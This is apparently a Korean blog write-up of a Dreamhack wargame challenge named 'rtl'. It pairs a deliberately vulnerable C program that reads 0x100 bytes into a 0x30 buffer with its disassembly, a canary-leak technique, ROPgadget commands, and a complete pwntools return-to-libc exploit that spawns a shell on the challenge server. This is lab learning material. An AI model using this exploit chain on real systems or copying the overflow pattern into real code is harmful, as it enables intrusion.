티스토리 뷰
문제 코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
checksec 을 통해 확인해본 결과, canary와 NX 보호 기법이 걸려있다.
코드 분석
- read함수로 buf~canary 거리 + 1 만큼 입력을 주어 canary 앞 '\x00'를 제거하면 printf 함수로 카나리를 출력하게 할 수 있다.
- read 함수로 buf에 0x30보다 훨씬 큰 0x100 크기의 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능하다.
스택 구조
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
0x00000000004006fb <+4>: sub rsp,0x40
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040070c <+21>: xor eax,eax
0x000000000040070e <+23>: mov rax,QWORD PTR [rip+0x20095b] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400715 <+30>: mov ecx,0x0
0x000000000040071a <+35>: mov edx,0x2
0x000000000040071f <+40>: mov esi,0x0
0x0000000000400724 <+45>: mov rdi,rax
0x0000000000400727 <+48>: call 0x400600 <setvbuf@plt>
0x000000000040072c <+53>: mov rax,QWORD PTR [rip+0x20092d] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400733 <+60>: mov ecx,0x0
0x0000000000400738 <+65>: mov edx,0x2
0x000000000040073d <+70>: mov esi,0x0
0x0000000000400742 <+75>: mov rdi,rax
0x0000000000400745 <+78>: call 0x400600 <setvbuf@plt>
0x000000000040074a <+83>: mov edi,0x40087c
0x000000000040074f <+88>: mov eax,0x0
0x0000000000400754 <+93>: call 0x4005d0 <system@plt>
0x0000000000400759 <+98>: mov edi,0x40088d
0x000000000040075e <+103>: call 0x4005b0 <puts@plt>
0x0000000000400763 <+108>: mov edi,0x40089d
0x0000000000400768 <+113>: mov eax,0x0
0x000000000040076d <+118>: call 0x4005e0 <printf@plt>
0x0000000000400772 <+123>: lea rax,[rbp-0x40]
0x0000000000400776 <+127>: mov edx,0x100
0x000000000040077b <+132>: mov rsi,rax
0x000000000040077e <+135>: mov edi,0x0
0x0000000000400783 <+140>: call 0x4005f0 <read@plt>
0x0000000000400788 <+145>: lea rax,[rbp-0x40]
0x000000000040078c <+149>: mov rsi,rax
0x000000000040078f <+152>: mov edi,0x4008a3
0x0000000000400794 <+157>: mov eax,0x0
0x0000000000400799 <+162>: call 0x4005e0 <printf@plt>
0x000000000040079e <+167>: mov edi,0x4008ac
0x00000000004007a3 <+172>: call 0x4005b0 <puts@plt>
0x00000000004007a8 <+177>: mov edi,0x40089d
0x00000000004007ad <+182>: mov eax,0x0
0x00000000004007b2 <+187>: call 0x4005e0 <printf@plt>
0x00000000004007b7 <+192>: lea rax,[rbp-0x40]
0x00000000004007bb <+196>: mov edx,0x100
0x00000000004007c0 <+201>: mov rsi,rax
0x00000000004007c3 <+204>: mov edi,0x0
0x00000000004007c8 <+209>: call 0x4005f0 <read@plt>
0x00000000004007cd <+214>: mov eax,0x0
0x00000000004007d2 <+219>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004007d6 <+223>: xor rcx,QWORD PTR fs:0x28
0x00000000004007df <+232>: je 0x4007e6 <main+239>
0x00000000004007e1 <+234>: call 0x4005c0 <__stack_chk_fail@plt>
0x00000000004007e6 <+239>: leave
0x00000000004007e7 <+240>: ret
End of assembler dump.
NX 방어기법이 활성화되어있기 때문에 Return to Library 기법으로 공격해야 한다.
공격 패턴
1. 카나리가 존재하기때문에 오버플로우를 통해 카나리 값을 가져와야 한다.
buf + dummy = 0x38
+ 0x1만큼의 값을 보내줘야 한다. (64비트 아키텍처에서는 카나리의 크기는 0x8인데, 맨 처음 바이트는 항상 "/x00이기 때문이다.")
2. 두번째 입력 때 버퍼 오버플로우를 통해 Return 을 덮어씌워야함.
"/bin/sh"는 해당 주소값이 고정되어 있기 때문에 gdb를 통해 가져올 수 있다.
system("echo 'system@plt'");를 gdb로 분석하면서 system 함수가 PLT에 등록되어 있는 것을 알 수 있다.
3. 함수를 가져오고나면, 인자 값을 넣어야 하는데 RDI, RSI, RDX, RCX, R8, R9 (6개 이상은 스택에 저장) 순으로 레지스터를 호출해야한다. RDI 레지스터를 사용해 binsh 문자열을 system 함수의 인자로 넣어줄 것이다.(이것을 리턴 가젯이라고 한다.)
* 리턴 가젯 가져오기
먼저 ROPgadget을 설치해줘야 한다.
python3 -m pip install ROPgadget --user
ROPgadget --binary ./rtl --re "pop rdi”
명령어로 rdi 가젯을 가져온다.
0x0000000000400853 : pop rdi ; ret
ROPgadget --binary ./rtl --re "ret"
명령어를 통해 RET의 가젯을 찾을 수 있다.
0x0000000000400285 : ret
* /bin/sh 가져오기
1. gdb 진입
2. b main 명령어로 main 함수 첫 줄에 break 걸기
3. run 명령어로 main 함수 실행
4. search /bin/sh 명령어를 통해 /bin/sh 주소 가져오기
/bin/sh의 주소 : 0x400874
공격 순서
- 첫번째 입력때 버퍼 오버플로우를 통해 canary 값 가져오기
- buf와 canary의 거리 : 0x38
- canary를 가져오기 위해 +1 해주기
- 총 0x39
- → 임의의 값을 0x39만큼 보내 카나리 값 가져오기
- system PLT, binsh, pop_rdi, ret 주소와 가젯 찾아오기
- system PLT : 0x4005d0
- binsh 주소 : 0x400874
- pop rdi 가젯 : 0x0000000000400853
- ret 가젯 : 0x0000000000400285
- 두번째 입력때 버퍼 오버플로우를 통해 공격하기
- 0x38(buf+dummy 크기) + canary + 0x8(SFP 크기)의 임의의 값 보내고
- ret + pop rdi + binsh + system 순서대로 보내주기
- 함수를 호출할때는 반대로 쌓임
- system(binsh) → binsh 호출, system 호출 순서로
- 함수를 호출할때는 반대로 쌓임
exploit 코드 작성
from pwn import *
p = remote("host3.dreamhack.games", 22604)
payload = b"A"*0x39 #buf+dummy+0x1 만큼
p.sendafter(": ",payload) #보내기
p.recvuntil(payload) #보낸 b"A"0x39는 필요없으니 두기
canary = u64(b"\x00"+p.recvn(7)) #카나리값 받아오기
system_plt = 0x4005d0
#pwntools 사용해서 system_plt가져와도 됨
#e = ELF('./rtl')
#system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b"A"*0x38 #buf + dummy
payload += p64(canary) #canary
payload += b"A"*0x8 #SFP
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter(": ",payload)
p.interactive()
'System Hacking' 카테고리의 다른 글
[드림핵] Return Address Overwrite (0) | 2024.03.11 |
---|---|
[드림핵] Shellcode (0) | 2024.02.27 |
helloworld.c 디스어셈블리 (0) | 2024.02.25 |
[드림핵] Tool Installation_gdb, pwntools (0) | 2024.02.25 |
[프로젝트] 악성코드 - 웜 (0) | 2024.02.24 |